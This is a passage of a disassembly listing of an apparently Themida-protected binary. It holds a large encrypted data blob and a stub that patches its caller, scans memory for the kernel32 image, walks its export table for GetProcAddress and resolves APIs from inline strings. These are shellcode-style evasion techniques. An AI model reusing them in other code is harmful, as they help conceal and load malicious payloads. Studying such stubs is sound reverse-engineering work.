		dd 610C2376h, 0F7B25EE1h, 10A472F6h, 2D33306Fh,	2B502EFCh
		dd 7C526942h, 17A01165h, 9DF0E8C4h, 744808E4h, 0D87A0859h
		dd 0C8F2E054h, 0AF129326h, 479E9A02h, 44704FFCh, 0F6B5B05Bh
		dd 0AD0E207h, 0E2D9CEA1h, 7035D264h, 0C55BEF72h, 560B54CAh
		dd 517067CAh, 0F8CFF9BAh, 0A0779E6Fh, 481F3688h, 0EFC6DE30h
		dd 976E85D8h, 0C0457BD1h, 0D697D8B2h, 223CD7CFh, 0CD78E4F3h
		dd 817722FCh, 0E02F1284h, 48697A20h, 0BEC98C71h, 0F2709D8h
		dd 479E4139h, 0BECBEC79h, 184A14C1h, 7F807D2Eh,	0A899C564h
		dd 332CDEh, 57E96E30h, 0C8F0CD8Fh, 85016C0h, 48E1B929h
		dd 0C7E8C586h, 37580EF9h, 72B8BD26h, 0CDEFF19Bh, 206A40D2h
		dd 9CA4895Fh, 0C217FDB2h, 85344EFh, 95B59C31h, 0CA0AF2B8h
		dd 347843E4h, 95D6824Dh, 8F021CB5h, 566B573Bh, 0B6E1A86Bh
		dd 0E23C11B5h, 4B775F6Fh, 81C9B077h, 153804D1h,	168C7F03h
		dd 0ACCDE83Ch, 1A2311C6h, 65B60A2Ah, 0ADCEC66Fh, 9233CDCh
		dd 618F4656h, 0D8FEC0B8h, 174E25E7h, 78979B24h,	0B4CBD290h
		dd 1A462CDAh, 50BF9D2Dh, 0ABE7E385h, 155E24D3h,	0AEB48552h
		dd 0A21CFD8Ah, 7555DCCh, 9DBD845Dh, 0F519C1BFh,	2C7961E7h
		dd 0AFBF964Ch, 0FF2A0AB4h, 5D63531Dh, 0BBD8AF68h, 871F10A4h
		dd 7C727837h, 0B3D9B66Eh, 0C3C28D2h, 49897702h,	0CEE5C57Dh
		dd 223806F0h, 5884663Ah, 88FEDF6Eh, 2F2637CEh, 628E4557h
		dd 0CEFECFABh, 0E4F33F7h, 68A4FA0Fh, 0C7EEF482h, 335C23EDh
		dd 70BEB545h, 0DFF1FFBBh, 11452DFCh, 0BCD2AB44h, 0CC2CE581h
		dd 2E4F4CE0h, 9DAF8F7Ah, 0EE10E5A9h, 3775FEAh, 86AC9F2Ah
		dd 0D0041EB0h, 5A7F4B16h, 81D88321h, 0EA363AADh, 49757F03h
		dd 0B6E3C659h, 1A3F3BB0h, 61985A1Fh, 0CFC0D179h, 192814F7h
		dd 7A996526h, 0B7ECD545h, 2E2335D9h, 729C4C58h,	0D0E1FB6Eh
		dd 144837CBh, 6191AA4Fh, 0C5F8C794h, 377578ACh,	5AF8134h
		dd 0CEECE8BEh, 665831F3h, 84B7A40Fh, 0C1289191h, 25645DECh
		dd 0A0C98458h, 0F237FCB9h, 375855E8h, 88A9AA5Fh, 0E10D0BA6h
		dd 5F43273Ah, 8DDE8956h, 0E03026AFh, 43626A1Ch,	0ACCB9519h
		dd 0E53A0487h, 4D937C3Dh, 0B5C9EE11h, 2D4D14DCh, 5094610Fh
		dd 0BFF9DD5Fh, 19023DFEh, 4EEC6635h, 0B5E7D968h, 47A3EC8h
		dd 0F80953Ch, 0C3E2D0AFh, 335A0CC5h, 7295F222h,	0DBE9FEAEh
		dd 247B36E4h, 91BB9C57h, 0D61FF683h, 284956DAh,	8087E15Bh
		dd 0FD14FA9Eh, 2D5F55F1h, 0A5C0BD40h, 0F61A3CA0h, 6B75531Dh
		dd 87D4A051h, 0C45F05B8h, 57755D07h, 89CBB27Bh,	0E43502B0h
		dd 51BB6619h, 92D1F312h, 0D2C01C8h, 42905F07h, 0A7F3DD7Eh
		dd 3C3015B2h, 70BA733Bh, 0A7DCDC67h, 1D5837F9h,	108D9538h
		dd 0C8C4D6B7h, 97524C4h, 49DB9724h, 0CAF3D584h,	385912F6h
		dd 8DA18F5Ch, 0C311FEB3h, 3A6C39E1h, 9BAC9179h,	0E912ED8Dh
		dd 45775FEFh, 9E90AC63h, 0F70D0BBAh, 4E797109h,	8FD6BA50h
		dd 0E4321381h, 7D076706h, 0BFDB976Fh, 0FB0514B1h, 479B6118h
		dd 0BDC3D35Ah, 0E2C09C9h, 229B630Ah, 0B8CBC045h, 24212FDAh
		dd 6F987132h, 0A7DEC762h, 13493DC6h, 7D97A852h,	0DAE2CCAFh
		dd 32562ECDh, 66B2803Dh, 0F1ECCE96h, 0B4231F7h,	91BB9834h
		dd 0F42D918Fh, 2E566AD1h, 86BC9545h, 0F11DEBDFh, 296A55F4h
		dd 99A5B34Dh, 0FB071CD6h
		dd 49734210h, 90D2A825h, 0F82C19A5h, 55696717h,	0A9AEA371h
		dd 83200EA1h, 4F90701Fh, 0B0CACE14h, 7B3901D7h,	4681622Dh
		dd 0BFF9DA7Eh, 2B37F7h,	758D4B39h, 0C3F6C760h, 0E4F3CE5h
		dd 66869421h, 0F9FFC7BCh, 75D24CCh, 6DBE8629h, 0C5E2EEA1h
		dd 376242FFh, 6EA18F35h, 0D834E68Ch, 506254F4h,	92BE8C71h
		dd 0EB17E792h, 297F41C7h, 0AFADAB7Ah, 0E207C9D7h, 5B7F5A1Ah
		dd 84DD8252h, 0E10931AAh, 71491F13h, 95FF864Bh,	0C0795CF6h
		dd 7EFF5A21h, 0B8E5D970h, 372B16D2h, 76F67400h,	0BCD2D268h
		dd 110E32D0h, 5D954124h, 0A3F1FE05h, 1E5926FCh,	7F85AD2Dh
		dd 0C3C9C689h, 6664BE5h, 7EB9A02Ch, 0C7E8FAA5h,	1B5406FEh
		dd 43D6842h, 0C12D5BC1h, 0B9243B92h, 0FBEFAFB4h, 0A5198A8Bh
		dd 224862D8h, 0BF0E5135h, 0C33A5553h, 6D4369EAh, 2B2C2E74h
		dd 0D6148E5h, 0A3F62CB3h, 0DD80E2CBh, 4650AB45h, 84859A39h
		dd 0E7A78F00h, 7C253642h, 0B108000Fh, 0CCAE9C74h, 0F0499D30h
		dd 1CEE05CDh, 9A16C555h, 0B8B654ADh, 0DF6EFC3Eh, 0BBE5E496h
		dd 9355CA4h, 0AB7A649h,	0B2DB1F9Bh, 0B2D2E9Bh, 942ABC11h
		dd 0A94DBE57h, 0C4DA65CDh, 0F8FCCE38h, 0FC007464h, 5D9CBE02h
		dd 0E320DB00h, 876B1755h, 0EE102AB0h, 34458170h, 0A4CFFC44h
		dd 0B9872147h, 0DDB1D072h, 7AA6242Eh, 0EC849391h, 59A8F03Fh
		dd 7C49DE32h, 0DBBBE765h, 491448F2h, 74777404h,	52F89D0h
		dd 0F67EAE05h, 0E7C1AA52h, 23CC48D1h, 0CF4E20FCh, 0AEB9C0AFh
		dd 0E2DEF552h, 4D7962EEh, 99718210h, 1D60517h, 282395EAh
		dd 613C4F7Fh, 7504D639h, 90554064h, 19496589h, 0BE958C61h
		dd 0BD591627h, 3B932BB0h, 0E72E2C03h, 0D3634AE5h, 630B26B5h
		dd 0DDB2CAF6h, 68DB2CC6h, 2D3203CFh, 41243E7Fh,	7C6172D1h
		dd 4344235h, 0CC8AB829h, 12449B36h, 642829Ah, 0E45AAF35h
		dd 768BD36Ah, 13C3FE64h, 78D2A6D6h, 625D4FCEh, 7920C5B4h
		dd 379261F7h, 32DF325Bh, 1D7EE49h, 0AA244661h, 0E4AA02C2h
		dd 0F8FEFCE9h, 0A17A376Ah, 0C2953589h, 0EFC5DC38h, 5C467CDBh
		dd 0CCDEA7E0h, 0E3C8B581h, 65919988h, 39CBA0B5h, 8E674049h
		dd 0D10BBE4Dh, 7F525A04h, 41553D7Fh, 7C624370h,	0AFF6D5E6h
		dd 0FC8B8498h, 0F79E4BB5h, 1B360FB7h, 0C470B06Fh, 0AF430024h
		dd 38CF6A3Dh, 3F95A7CCh, 0A30B47ACh, 83FA4709h,	82A3B866h
		dd 0D7D2B09Bh, 0FF728E00h, 6A61E223h, 5128D7C7h, 7992E739h
		dd 906CEC0Ch, 6382BD89h, 6CC6EE1Bh, 9766A1A4h, 3FAFA98Fh
		dd 0A3CD527h, 8E657EC7h, 37094C23h, 484BCC1Eh, 856C599Bh
		dd 0A989E7E5h, 0D4AAC731h, 7C393ABDh, 24FB168Dh, 98F0EC0Dh
		dd 0E1B536B5h, 1CC22304h, 53147836h, 6C4159A9h,	16835104h
		dd 0D490C2ACh, 243950A5h, 2E74071Eh, 258990DEh,	45BE19h
		dd 6B1A413h, 0FD8198EAh, 720DF46Ch, 6D0E838h, 91538677h
		dd 89A56E8Ah, 0E424C945h, 0F2BB0D89h, 17467C81h, 422B297Eh
		dd 0D6664DFAh, 0E77BE5FDh, 0DF203249h, 0B5D44EDh, 79575838h
		dd 58F4807Ch, 7D556F29h, 0E5CFB866h, 3EFAAB64h,	251B321Dh
		dd 4DA35A0Eh, 0E80F4D54h, 0EC426984h, 15E80992h, 99E656FEh
		dd 9CAFAEAEh, 5FE2C967h, 9E73340Ah, 9E6F49ADh, 3D5AF140h
		dd 0ED83ECE6h, 4656CC1Fh, 0E332E90Bh, 0B279056Eh, 9B2238BBh
		dd 751A1F64h, 66F8881Ah, 4E182F82h, 0E8BF27ADh,	0AA59FED1h
		dd 0B849360Ch, 5BB9CE1Eh, 875E7529h, 5A2623F0h,	0E82C83E6h
		dd 391B25EFh, 0E9763612h, 81A5FAC9h, 1C1DAD9Ch,	4DA25A5Fh
		dd 0EC6A26F8h, 551A5A9Fh, 0A96E0D96h, 5793AAFFh, 663B5216h
		dd 5FB3C4CFh, 3084F4BFh, 5D334A3Bh, 0A8D334C6h,	288C97D1h
		dd 542B420Ch, 8A7CA00h,	0AC40AD48h, 4B22B509h, 0D2C44C33h
		dd 0A751A8FBh, 367C57A2h, 0D56CA75Fh, 10140AF2h, 5130D804h
		dd 91C2BB55h, 0F85C0848h, 4528314Bh, 28E90070h,	0C56762C0h
		dd 27FE3278h, 30F75FE7h, 4767FD2Dh, 4F353F60h, 2FCCE458h
		dd 6F445BB9h, 799B6C1Ch, 0DBF2C46Ch, 66AEADA8h,	8BE3CA64h
		dd 85BDD637h, 75B6C356h, 54DBC26Dh, 0AD809A86h,	37A1312h
		dd 0F947156Dh, 297AA1CEh, 7C396518h, 3AFAB134h,	0C921D988h
		dd 0D6E661D5h, 0EAF0F21Eh, 6D4C7B54h, 0A3A26EEh, 61743722h
		dd 0B94A1947h, 0F2FE1F72h, 0DC8A9A92h, 80566D29h, 0C57F4869h
		dd 0D095A078h, 563ED932h, 957E0C51h, 0C8AC9A72h, 0FDCFA0B2h
		dd 18DC2D2Eh, 45180EF2h, 680B7CDAh, 218C6FDBh, 3288A2C8h
		dd 5F0364C7h, 8EB3F0CEh, 51839AFCh, 6601DB02h, 0A11B013Eh
		dd 0CC0CF4A2h, 1D7E5CEDh, 9DBA985Dh, 0D11DE9BEh, 36765DE0h
		dd 39F3D855h, 653AB05Fh, 0DA9375A5h, 0E1F7A520h, 0E00D2132h
		dd 95B2936Bh, 60AEF607h, 81566DD5h, 0D7B311E7h,	0B75A42EDh
		dd 3449E911h, 21F50C62h, 8E111F6Ch, 9576F0B6h, 0FB4765F6h
		dd 0A20626F9h, 3D3B6284h, 0EFB1FC3Bh, 88A16B6Ch, 4447C1A1h
		dd 1F1F7140h, 2A8C5A75h, 572B433Dh, 0DEBAEA55h,	0F07A91E6h
		dd 0DBDD32E5h, 0F5F9CBE7h, 167DD655h, 0D89020C8h, 0ECF0F64Ah
		dd 0BA03F25Ch, 0DF91274Dh, 0EC483F24h, 8B35259Dh, 86F8181Eh
		dd 0DA9EE878h, 0A823F83Ch, 0D5AE155Bh, 0E28BDEA6h, 7BD89BBBh
		dd 7AF53C49h, 0C50F748Eh, 72450F37h, 216D655Bh,	0CEE7F14Eh
		dd 0F7AEADF8h, 0F8E3CA78h, 0B98BA3BBh, 61FBF42Fh, 0BFD4F249h
		dd 0C40E84BFh, 5C435DA8h, 0A8D2EA41h, 8D2F0417h, 187439A0h
		dd 0DCD474C8h, 0DDFA88EFh, 0CDDA33BBh, 3EC3A07Eh, 1E480D5Dh
		dd 99D3F34h, 0E71A9E16h, 8D27F70Eh, 46624D10h, 294CC368h
		dd 0AAFB869Dh, 59753160h, 20A6E430h, 74513637h,	20BB08D3h
		dd 49A83FDFh, 3DCFA8B7h, 74598A54h, 48939B2Ah, 0C8E699Ah
		dd 60E3CA7Dh, 0DD3E8978h, 59337A8Dh, 39F599FFh,	0C00095F2h
		dd 6AD4BD65h, 73666381h, 217BA2C7h, 600D4D1Ch, 9D9AB238h
		dd 9E18D9E3h, 471A31E0h, 6B3E8EAFh, 965995AFh, 1434BD80h
		dd 6847D016h, 8D5062B6h, 3AF7E7F5h, 2350FC99h, 0E7D2E73Ah
		dd 46FF2643h, 82A6D415h, 0EDDB9AEDh, 0AFF63D4Fh, 0FCB3C288h
		dd 76A59DB5h, 1C87540Dh, 0EEF939FAh, 0E9B5539Dh, 13D4D52Fh
		dd 0BBE67777h, 3306B4F6h, 24BF46B4h, 277B9BC3h,	5A1C6912h
		dd 2FB76EC9h, 0ADF593DAh, 50B1C4B6h, 73CBD313h,	15F8B6B2h
		dd 482B1CF2h, 0DBD88EBBh, 2417F53h, 3F2207E7h, 0C8CE5CACh
		dd 0A5CC78FFh, 0CCEB8BB5h, 0C0D04D93h, 0D4096FF6h, 7C51473Dh
		dd 0FE922AEAh, 831F668Dh, 14DD0FF0h, 0BFBB750Dh, 117C778Fh
		dd 708C6433h, 84AFC960h, 583CDEh, 3DD7CF38h, 97E1C898h
		dd 30357D89h, 4F89A712h, 0C7C6C0BEh, 344836E9h,	6FBAAF36h
		dd 0C512E69Eh, 0D5159C1h, 8EBE816Ah, 0D311E888h, 297460D5h
		dd 0AEA7BE42h, 0E40EE1BBh, 5E4376F3h, 83D7B355h, 0FD101CBBh
		dd 4463672Bh, 0B1D0BE7Bh, 0E93620AAh, 71787B07h, 0BAC9B446h
		dd 182206D9h, 42977D35h, 90FADB64h, 1C332BF4h, 66867432h
		dd 0B4D7CA60h, 0F5739DDh, 7C8F8935h, 0F7D2D692h, 63423ECDh
		dd 5E98BA18h, 0F7D4DCA4h, 394708C7h, 6EA58230h,	0FE22E18Ch
		dd 3E4253FBh, 0BB91964Eh, 0C507FE94h, 2D4B40E7h, 80ADAF42h
		dd 0EF29DFB6h, 4D7B47F0h, 0B2BBA142h, 0EB0408AEh, 45646A03h
		dd 0DDB0CA6Ah, 0F70F21C6h, 5F72C9E1h, 0B9C0B97Ah, 17250693h
		dd 54957E17h, 0A2C9966Ch, 3A4830D3h, 3CBB4414h,	0B6F5D869h
		dd 65D3ECBh, 56B4AB5Eh
		dd 0F1E986AEh, 437907EBh, 78B6806Dh, 0B8B4EB87h, 5A2FAECEh
		dd 808AEE42h, 995F4407h, 3EA2F892h, 0F8CED62Ch,	8A17181Eh
		dd 0A0DF35B9h, 85F9A92Fh, 82D80FC6h, 66151CAAh,	9392E88Bh
		dd 0B0E51DE5h, 15793E88h, 0F6927693h, 0F3D072F6h, 4BA64D6Ch
		dd 962F4FB0h, 0F3525994h, 14D379E0h, 8A28430Dh,	8A07EC4Fh
		dd 0FEF0B9A6h, 49C65BCAh, 5C55FE28h, 1382AF54h,	2E6FA996h
		dd 630865DDh, 2C48BC8h,	5ACEEAF7h, 5A304793h, 2F9BA911h
		dd 0A9CCDBAEh, 7B79AA6Dh, 38C4E709h, 0A21D9A95h, 0B162DED9h
		dd 7A3921CFh, 975EAFD5h, 3D62ED05h, 0ED5505D8h,	0DD657CCFh
		dd 79526731h, 91F0E24Dh, 10A3738Ah, 2D34313Fh, 2B5295FDh
		dd 7C588242h, 77AE1265h, 0FE91E848h, 3806259Bh,	6D67F65Dh
		dd 2C99812Fh, 6C4158A7h, 66997322h, 0DAE5C694h,	9B6950E4h
		dd 3BCBF5D9h, 0AA0C29F4h, 543178B6h, 3C547D72h,	2381A8F2h
		dd 62026716h, 6C2FB93Ah, 0A148A593h, 49245F19h,	454ADF31h
		dd 985F9F92h, 4DAAA3D8h, 0FBEE603h, 70998E70h, 0A78BE21Eh
		dd 0DEB5FD3Fh, 14F8F797h, 2E052C4Fh, 0F5FC519Bh, 29046B8Eh
		dd 2596120Ch, 0CDA1D35Ch, 0E0B4E2B6h, 1DC3214Fh, 0B0C07283h
		dd 0EECFD48Ch, 47EA3176h, 81FAF94h, 650A7136h, 5CB2AF19h
		dd 2175F3A4h, 5C026288h, 0E4F0E1Ch, 6D82A9C7h, 63076F11h
		dd 0E839E93Bh, 5D866F10h, 7A334506h, 0BD4D2732h, 0CF70B7CFh
		dd 0A92B70D6h, 174025D4h, 852BFB16h, 6C592649h,	315EFA7Fh
		dd 40A18A3Ah, 1F1351F5h, 89D59317h, 8C8A848Bh, 0A33AEB98h
		dd 0CE94A943h, 223A06E1h, 9B79C26Ch, 0C6AB9D78h, 3F120BFEh
		dd 47BA5307h, 94FA3F00h, 0F3C45297h, 0DD3D02Fh,	0C0944A37h
		dd 5D3FA2EAh, 4C88F245h, 0FCC2CDA1h, 186F6CDCh,	6E2DEA70h
		dd 0A34ABB95h, 4B223564h, 0A181B233h, 0FB27FCBEh, 37C45EFh
		dd 7C3F882Ah, 915855DFh, 16A5AAE9h, 88B7FF0Ah, 885F7601h
		dd 0CF077427h, 0E7848B8Dh, 0C1C3E0C0h, 0AAFE2577h, 0FF8E4AADh
		dd 201F32B8h, 35EC999Fh, 31FB438h, 0B4D1D6BCh, 47EC3347h
		dd 0E992C157h, 67393AFAh, 0DD1C7A4Fh, 49710F1Fh, 6C8EC960h
		dd 5DBC253h, 25EB919Ah,	0AA2B4285h, 0CCF873A8h,	0A47679E5h
		dd 1F75398Dh, 0C082A27Bh, 0D735A6EEh, 0D6E630C8h, 0EAF0F25Ah
		dd 926F1740h, 8F9D277Bh, 0E187D780h, 54E2FB93h,	0D9072E58h
		dd 27513429h, 80566129h, 66B74269h, 84E0F358h, 34012097h
		dd 5160F361h, 4D9C8423h, 45C05471h, 8BEC035Bh, 0C093AE69h
		dd 888EDFA9h, 56E3CA48h, 9D721F75h, 0A6DB4A90h,	85240DB6h
		dd 9EA96752h, 0D2244297h, 0FDD2E82Eh, 0A4EA7D67h, 2576398Eh
		dd 0F4C9E034h, 0B6AC1D22h, 809830B5h, 0EBC0D9BCh, 0F9BCF484h
		dd 0AEEF757Ch, 0E287E5DEh, 0FF06B64Eh, 218F767Eh, 4C51C61Ah
		dd 8166475Bh, 947DF781h, 0D1959D80h, 0F46411BAh, 11D59AE7h
		dd 5C63E40Ah, 7174715Bh, 9DE3C3DFh, 0C193AA8Bh,	0E2371221h
		dd 9FD30551h, 88AB307Ch, 4EB68CA1h, 6DBC265h, 0AEE99A9Ah
		dd 0C2D440F2h, 0FEE2C0CAh, 0A9856964h, 4E23590Bh, 60447236h
		dd 9D41A850h, 164B20ECh, 0C6254DD2h, 54ED7FE5h,	3D50A272h
		dd 5E3ACF24h, 8B6F567Ch, 32EF16C5h, 0B25139ECh,	82566D57h
		dd 0A3183E35h, 2DF19927h, 4A67012Eh, 9C488163h,	7B9C842Bh
		dd 84A6B3B2h, 8F61FCA4h, 0C2A38BA8h, 7E5352C1h,	43E3FA52h
		dd 481E5DA9h, 0EC337A88h, 85CFD60Dh, 80ADE564h,	0EE241299h
		dd 0DB96614Ah, 0AF9A50FCh, 5D237392h, 0BCDBE37Dh, 0BA3583DCh
		dd 49F8B08Fh, 0BCC838EFh, 854C3BDDh, 0B0401581h, 0D49CE098h
		dd 8C439ECDh, 1A221E75h, 0F58EBE2Ah, 0B97643E4h, 5DB3049h
		dd 0AB80C52Ch, 713E419Ch, 6DBC432Eh, 34CBB42Ch,	436E4221h
		dd 0B728825Ch, 0A993AB04h, 386C02ACh, 38126FACh, 3700A2CBh
		dd 62035F91h, 1238F220h, 0E08E5399h, 592B4772h,	64F6CC41h
		dd 572C92E3h, 60092304h, 0FB0E6138h, 0F77962B0h, 471A3180h
		dd 0CE0564A2h, 0C53E80E7h, 14E0BD80h, 253DD016h, 38ED23B0h
		dd 35383459h, 0C99D629Eh, 9576EF5h, 1CD238E0h, 0BE689515h
		dd 2F1834BDh, 0E1B989Ah, 341EB53Dh, 0E56A22B5h,	0A960FAD6h
		dd 0C4A4872Ah, 0C2CE5E1Dh, 0FB84EB21h, 44735516h, 802339C5h
		dd 0BAB7E42h, 7D0F7118h, 0E7A18DB0h, 1E4C06Dh, 5EFB3719h
		dd 0AE778279h, 0C8E102ACh, 0CFCE0AE1h, 491B029Ch, 0DFAAF044h
		dd 686A81ADh, 0F38B015h, 0C8045127h, 8E6148E2h,	0B3CE3103h
		dd 0DD80E88Ch, 85586FC6h, 2E92A8h, 3DA7BF25h, 83B098B5h
		dd 24F3CC38h, 0E1B10380h, 8B105D85h, 2CC444C8h,	3B6D2E05h
		dd 6C86D0A2h, 966CFC54h, 0BBBD8ACFh, 9C634CCEh,	3AF779DEh
		dd 0BD4519F3h, 5A2DE01Fh, 5115C742h, 0F97EFEBAh, 514D3DF8h
		dd 0AE0CE439h, 8A511E1Eh, 0B09F33B9h, 0E547D4CFh, 1E6B82DBh
		dd 0F3D1D05h, 0DD375F27h, 36249E1h, 62462E2h, 0B7E3981Eh
		dd 10A620C6h, 2D313227h, 0DB573896h, 7C52BF39h,	0DBF86565h
		dd 0FCB180B8h, 31D2A1B5h, 9FEF3677h, 409951FDh,	6C3E576Ch
		dd 3DAD78DDh, 72BDA5CCh, 33678EA7h, 5BDA9F1Ah, 9CB1280Ch
		dd 0CFD145ABh, 1E6C76Bh, 2D71556Fh, 51263F0Fh, 7D442C0Ah
		dd 0A045A2AEh, 204C65D8h, 0EFCBDC2Fh, 0E2F97C88h, 0BA141BAAh
		dd 0B03FDCE7h, 7637ACDh, 62571F2h, 9639091Eh, 0DBD8C9FEh
		dd 0FF31196Eh, 255E0016h, 0F9D8894Ah, 24C93E3Ah, 749CF386h
		dd 744845B5h, 0DDF3D56Eh, 25605EF2h, 4268D324h,	1C24FE64h
		dd 4289ED4Bh, 30BA7847h, 4968F953h, 0FB579DE7h,	590787F0h
		dd 5EED6F92h, 5011FF9Dh, 0D26E20E6h, 8ACFEA43h,	9C3D063Eh
		dd 4B0A7702h, 0AB48CD72h, 4E9A7B90h, 0BA2EEDA3h, 0E68CFA6Ch
		dd 0CAEF220Ch, 0BE852F53h, 0DDB3CBA6h, 0E98B2F5h, 0A008F1A1h
		dd 0E487EDA8h, 0A3D995BDh, 1856D856h, 0F0A7CB6Ch, 584B17CFh
		dd 40CDA27Dh, 0EAA45C71h, 6C7C8AD9h, 0DB0B1721h, 0FEADA677h
		dd 17380AFCh, 49B3CA40h, 37879FA1h, 0A5CFB8D2h,	56E5ECC9h
		dd 0A6C3D9A3h, 0AED70316h, 0BB98DAC6h, 2478C0B4h, 0B7E0C9B8h
		dd 0DC85890Dh, 0B1EA8AEAh, 2E9D27Fh, 0A9E98677h, 717EF8C0h
		dd 0ED3EDB88h, 224A8FF6h, 8BD87C39h, 1EFBE491h,	0D4BD2BC7h
		dd 12BB6ABDh, 0CC04ED9Ah, 0CCA2BA0Dh, 0F4A7E0E8h, 0F5F2397Ah
		dd 0C499B01Ah, 0E773A7C9h, 24C753E0h, 9E18CCFDh, 2907D1C3h
		dd 364F716h, 3889A0F5h,	853274C2h, 52E27125h, 520497AEh
		dd 0A5294093h, 0D9D0FE79h, 24778FE2h, 49203761h, 0F29B9CC7h
		dd 988E02D6h, 3E962E81h, 0C79EF608h, 5BE272F0h,	0DF0E2578h
		dd 214A33D0h, 8694F6C8h, 6C8E1C6Fh, 0C5E64F1Eh,	7927AA95h
		dd 2017D355h, 872A730Dh, 2ECEEBA6h, 0F5F33A70h,	3A654C78h
		dd 6D42F646h, 42778A56h, 0BE9299D0h, 55140A3Bh,	0F174114Dh
		dd 30855E0Ah, 5C324912h, 2D8944CFh, 0F50999DCh,	0BBF442A8h
		dd 52E1744h, 0E8F8ED91h, 4A2158AFh, 0A7366BD2h,	1464FDD9h
		dd 71082F37h, 0F8C5D429h, 9061FE68h, 9DFC7179h,	0DD55CF91h
		dd 0D901D13Bh, 0BD371222h, 0D62F429Ah, 0F7336CBFh, 0D90289F7h
		dd 293854F0h, 0FD169C48h, 54F70715h, 0C0DA3E17h, 0E76B1984h
		dd 16EB5DD0h, 9ED56DFFh, 461B7287h, 86CBB1C7h, 3000B2BCh
		dd 5D0364C9h, 77D3B87Ch, 0A4C913EEh, 0D73B0094h, 70D2B25Fh
		dd 9354CE61h, 4360388Ch, 0C199A232h, 0B8FAEC09h, 1A1BBFE7h
		dd 0C7F765A9h, 9E687FE2h
		dd 0C6ED9BFEh, 0B30230DEh, 775F46E7h, 2D83E4h, 981B3918h
		dd 80565DEEh, 17D414FDh, 0F4283010h, 0FA4D5496h, 2FDB4FF5h
		dd 0ADCEE508h, 58F1A4B0h, 0E8EC3376h, 8FB93E95h, 508EADA8h
		dd 0F1E3CA61h, 86A1A362h, 7186C79Fh, 0FADBC26Bh, 9DADA95Bh
		dd 0C0D41496h, 0FCE2C0B0h, 8A4D3466h, 8F2239BDh, 0F3C9E1DCh
		dd 9A1BD5DCh, 6A38DD05h, 1A98D81Bh, 0EAEDBEDCh,	0BF10176Eh
		dd 29340CE2h, 48508635h, 11266F7h, 0C8930519h, 0F55647C1h
		dd 547F7375h, 0A1C9B135h, 902D77CCh, 0DF0AF3A5h, 5474B17Ch
		dd 98BBA44Ch, 0E713FC8Bh, 0ED6C8560h, 7A0F04D1h, 0FE3DFE8h
		dd 1263C2F8h, 2ACCB55Fh, 229F797Eh, 813617DFh, 0DD2B72BAh
		dd 7CB4E26Eh, 0D67897DCh, 4D4A6FABh, 7FC91E35h,	0CE71E219h
		dd 9D8CCFD5h, 68C0E806h, 0ADE97710h, 672F1820h,	2434CC56h
		dd 77169ECFh, 4DEFE18Ch, 0B85139E5h, 8122D501h,	9815156Ah
		dd 0D1A592AAh, 795D8CBAh, 1370C62h, 0C9AC0C0Ah,	72AC5BB2h
		dd 0DBEC035Ah, 951EAB26h, 47F65E8Eh, 6CE302D2h,	0B863C2E0h
		dd 0EB334AA1h, 5AEBD61Ch, 4202807Bh, 571B6B73h,	13D55D7h
		dd 0A2B8F018h, 180h dup(0)
		db 90h
; ---------------------------------------------------------------------------
		call	$+5
		mov	eax, [esp]
		test	dword ptr [eax+242Bh], 80000000h
		mov	[eax+29ACh], ebx
		mov	ebx, [esp+4]
		jz	short loc_60E04C
		cld
		pop	ecx
		mov	[eax+29B0h], esi
		mov	[eax+29B4h], edi
		cmp	byte ptr [eax+242Fh], 0E8h
		jnz	short loc_60E043
		add	ebx, [eax+2430h]
		mov	ebx, [ebx+2]
		push	dword ptr [ebx]
		jmp	short loc_60E04B
; ---------------------------------------------------------------------------


loc_60E043:				; CODE XREF: Themida_:0060E034j
		mov	ebx, [eax+2431h]
		push	dword ptr [ebx]


loc_60E04B:				; CODE XREF: Themida_:0060E041j
		pop	ebx


loc_60E04C:				; CODE XREF: Themida_:0060E01Dj
		push	ebp
		xchg	eax, ebp
		sub	dword ptr [esp+4], 2006h
		and	ebx, 0FFFFF000h
		sub	ebp, 401006h
		mov	edi, [esp+4]
		lea	esi, dword_40343C[ebp]
		mov	ecx, 99h
		rep movsb


loc_60E073:				; CODE XREF: Themida_:0060E08Fj
		cmp	dword ptr [ebx+4Eh], 73696854h
		jnz	short loc_60E089
		mov	eax, [ebx+3Ch]
		lea	eax, [eax+ebx]
		cmp	word ptr [eax],	4550h
		jz	short loc_60E091


loc_60E089:				; CODE XREF: Themida_:0060E07Aj
		sub	ebx, 100h
		jnz	short loc_60E073


loc_60E091:				; CODE XREF: Themida_:0060E087j
		mov	edx, [eax+78h]
		add	edx, ebx
		mov	esi, [edx+20h]
		mov	ecx, [edx+18h]
		add	esi, ebx
		push	ecx


loc_60E09F:				; CODE XREF: Themida_:loc_60E0C6j
		lodsd
		add	eax, ebx
		cmp	dword ptr [eax-1], 74654700h
		jnz	short loc_60E0C6
		cmp	dword ptr [eax+3], 636F7250h
		jnz	short loc_60E0C6
		cmp	dword ptr [eax+7], 72646441h
		jnz	short loc_60E0C6
		cmp	dword ptr [eax+0Bh], 737365h
		jz	short loc_60E0CB


loc_60E0C6:				; CODE XREF: Themida_:0060E0A9j
					; Themida_:0060E0B2j ...
		loop	loc_60E09F
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_60E0CB:				; CODE XREF: Themida_:0060E0C4j
		sub	[esp], ecx
		mov	esi, [edx+24h]
		pop	ecx
		add	esi, ebx
		movzx	eax, word ptr [esi+ecx*2]
		mov	edi, [edx+1Ch]
		add	edi, ebx
		mov	esi, [edi+eax*4]
		add	esi, ebx
		call	near ptr loc_60E0F1+2
		inc	ebx
		insb
		outsd
		jnb	short near ptr loc_60E14F+2
		dec	eax
		popa
		outsb
		db	64h
		insb


loc_60E0F1:				; CODE XREF: Themida_:0060E0E2p
		add	gs:[ebx-1], dl
		setalc
		mov	[ebp+40353Ch], eax
		call	near ptr loc_60E10D+1
		inc	ebx
		jb	short near ptr loc_60E168+1
		popa
		jz	short near ptr loc_60E168+4
		inc	ebp
		jbe	short near ptr loc_60E16E+1
		outsb
		jz	short near ptr loc_60E14C+2


loc_60E10D:				; CODE XREF: Themida_:0060E0FCp
		add	[ebx-1], dl
		setalc
		mov	[ebp+403540h], eax
		call	sub_60E129
		inc	edi
		db	65h
		jz	short near ptr loc_60E168+4
		popa
		jnb	short loc_60E197
		inc	ebp
		jb	short near ptr loc_60E197+1
		outsd
		jb	short $+2

; =============== S U B	R O U T	I N E =======================================



sub_60E129	proc near		; CODE XREF: Themida_:0060E117p

; FUNCTION CHUNK AT 0060E1D2 SIZE 000000B1 BYTES
; FUNCTION CHUNK AT 0060E312 SIZE 0000013A BYTES

		push	ebx
		call	esi	; free
		mov	[ebp+403544h], eax
		call	sub_60E1A7
